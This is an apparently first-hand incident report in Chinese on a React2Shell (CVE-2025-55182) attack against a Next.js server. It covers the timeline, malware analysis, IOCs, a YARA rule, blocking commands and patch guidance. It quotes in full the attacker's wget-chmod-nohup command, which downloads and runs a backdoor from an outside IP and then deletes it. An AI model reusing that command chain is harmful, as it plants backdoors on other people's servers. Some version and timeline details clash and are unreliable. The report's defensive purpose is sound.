针对CVE-2025-55182(React2Shell)的真实世界攻击分析 - React Server Components RCE漏洞
针对生产环境 Next.js 应用的真实攻击分析
2025 年 12 月 5 日,我们的生产环境 Next.js 应用遭到攻击者利用 CVE-2025-55182(React2Shell)的攻击,这是 React 服务器组件中的一个严重远程代码执行漏洞。该攻击试图在我们的服务器上下载并执行 Linux 后门木马。
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS 评分 | 9.8(严重) |
| 攻击日期 | 2025 年 12 月 5 日 |
| 攻击结果 | ✅ 已阻止(补丁后) |
| 恶意软件类型 | Linux 后门木马 |
| 受影响技术栈 | Next.js + React 服务器组件 |
CVE-2025-55182,又称 "React2Shell",是一个影响 React 服务器组件(RSC)的严重远程代码执行(RCE)漏洞,涉及:
该漏洞存在于 React 的 Flight Server 中的 renderToReadableStream() 函数内。在处理特制的 RSC 载荷时,服务器未能正确清理某些输入,从而导致任意代码执行。
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
攻击者发送一个带有恶意序列化载荷的特制 POST 请求,该载荷会被反序列化并在服务器上执行。
| 时间戳(UTC) | 事件 |
|---|---|
| Dec 5, 06:20 | 通过 Sentry 检测到首次攻击 |
| Dec 5, 06:20 | 载荷尝试执行 shell 命令 |
| Dec 5, 06:20 | 攻击部分成功(补丁前) |
Sentry 错误日志(补丁前):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
| 时间戳 | 操作 |
|---|---|
| Dec 4, 14:13 | 升级到 Next.js 16.0.7 |
| Dec 4, 14:13 | 部署修复版本(v1.0.0-beta-4) |
| 时间戳(UTC) | 事件 |
|---|---|
| Dec 5, 08:48 | 检测到攻击尝试 |
| Dec 5, 08:48 | 载荷执行已被阻止 |
| Dec 5, 08:48 | 错误:syntax error: unexpected ";" |
Sentry 错误日志(补丁后):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
补丁成功阻止了恶意命令的执行。
| 属性 | 值 |
|---|---|
| 目标 URL | https://[REDACTED]/ |
| 方法 | POST |
| User-Agent | Python Requests 2.31 |
| 来源 | 自动化攻击脚本 |
攻击者试图执行以下命令链:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
分解说明:
| 步骤 | 命令 | 目的 |
|---|---|---|
| 1 | wget http://45.76.155.14/vim -O /tmp/vim | 下载恶意软件 |
| 2 | chmod +x /tmp/vim | 赋予执行权限 |
| 3 | nohup /tmp/vim > /dev/null 2>&1 & | 后台运行,注销后依然存活 |
| 4 | rm -f /tmp/vim | 删除证据 |
| 组件 | 版本 |
|---|---|
| 操作系统 | Alpine Linux 3.23.0 |
| 运行时 | Node.js v20.19.6 |
| 框架 | Next.js 16.0.7(已修补) |
| 容器 | Docker |
| 属性 | 值 |
|---|---|
| 文件名 | vim(伪装成合法工具) |
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| 文件类型 | ELF 64 位 LSB 可执行文件,x86-64 |
| 语言 | Go(编译后的二进制文件) |
| 文件大小 | 约 4.7 MB |
检出率: 13/72(18%)
| 厂商 | 检出名称 |
|---|---|
| DrWeb | Linux.BackDoor.Siggen.389 |
| AhnLab-V3 | Backdoor/Linux.Agent.4780032 |
| Kaspersky | HEUR:Trojan.Linux.Agent.gen |
| ESET-NOD32 | Linux/Agent.PX Trojan |
| Avast/AVG | ELF:Agent-BQE [Trj] |
| AliCloud | Trojan:Linux/Agent.ff565f70 |
| Antiy-AVL | Trojan/Linux.Agent.px |
| Rising | Trojan.Agent/Linux!8.13268 |
| SentinelOne | Static AI - Suspicious ELF |
| Tencent | Malware.Linux.Generic.1c03c8b9 |
| Zillya | Trojan.Agent.Linux.5292 |
VirusTotal 链接: 查看分析
ELF 文件头:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
识别出的能力:
| 能力 | 证据 |
|---|---|
| HTTP/HTTPS 客户端 | net/http, *http.Client |
| TLS 加密 | crypto/tls, crypto/aes |
| SOCKS5 代理 | socks, socks5 |
| DNS 解析 | net/dns/dnsmessage |
| 强加密 | chacha20poly1305, Ed25519 |
提取的字符串(相关):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
| 严重性 | 规则 | 来源 |
|---|---|---|
| 低 | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| 低 | ET DNS Query for .cc TLD | Proofpoint ET Open |
类型: Linux 后门木马
能力:
| 类型 | 值 | 描述 |
|---|---|---|
| IP 地址 | 45.76.155.14 | 恶意软件分发服务器 |
| URL | http://45.76.155.14/vim | 恶意软件下载 URL |
| 托管 | Vultr VPS | 云服务提供商 |
| TLD | .cc | C2 域名使用 .cc 顶级域名 |
| 类型 | 值 |
|---|---|
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| SHA1 | [Calculate if needed] |
| MD5 | [Calculate if needed] |
| 文件名 | vim(伪装) |
| 文件类型 | ELF 64 位 x86-64 |
| 文件大小 | 约 4.7 MB |
| 指标 | 描述 |
|---|---|
wget 到外部 IP | 从非标准 URL 下载 |
/tmp/ 中的文件 | 临时目录中的可疑可执行文件 |
nohup + 后台执行 | 持久化尝试 |
| 立即删除文件 | 清除证据 |
| Python Requests User-Agent | 自动化攻击工具 |
rule CVE_2025_55182_Backdoor {
meta:
description = "Detects backdoor distributed via CVE-2025-55182"
author = "Security Researcher"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}
| 操作 | 状态 | 详情 |
|---|---|---|
| ✅ 升级 Next.js | 已完成 | 16.0.4 → 16.0.7 |
| ✅ 升级 React | 已完成 | 19.1.0 → 19.2.1(已修补) |
| ✅ 重新部署应用 | 已完成 | Docker 重新构建 |
| ✅ 分析恶意软件 | 已完成 | 已提交 VirusTotal |
| ✅ 向托管商举报 | 已完成 | 已向 Vultr 发送滥用报告 |
| ⏳ 轮换凭据 | 待处理 | 数据库、JWT、API 密钥 |
我们于 2025 年 12 月 5 日向 Vultr(C2 服务器的托管服务商)提交了滥用报告,内容包括:
| 软件包 | 受影响版本 | 修复版本 |
|---|---|---|
| Next.js | < 15.3.3, < 16.0.5 | ≥ 15.3.3, ≥ 16.0.5 |
| React | 19.0.0 - 19.1.0 | ≥ 19.2.1(2025 年 6 月及之后) |
1. 立即升级:
# For Next.js 16.x
npm install [email protected] [email protected] [email protected]
# For Next.js 15.x
npm install [email protected] [email protected] [email protected]
2. 阻止恶意 IP:
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP
# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14
3. 监控 IOC:
# Check for suspicious files
find /tmp -type f -executable 2>/dev/null
# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"
# Check network connections
netstat -an | grep "45.76.155.14"
4. 轮换所有密钥:
| 类别 | 建议 |
|---|---|
| 监控 | 实施实时错误监控(Sentry 等) |
| 更新 | 订阅所有依赖项的安全公告 |
| 网络 | 实施出站过滤,阻止不必要的出站流量 |
| 容器 | 以非 root 用户运行,使用只读文件系统 |
| 密钥 | 定期轮换凭据,使用密钥管理器 |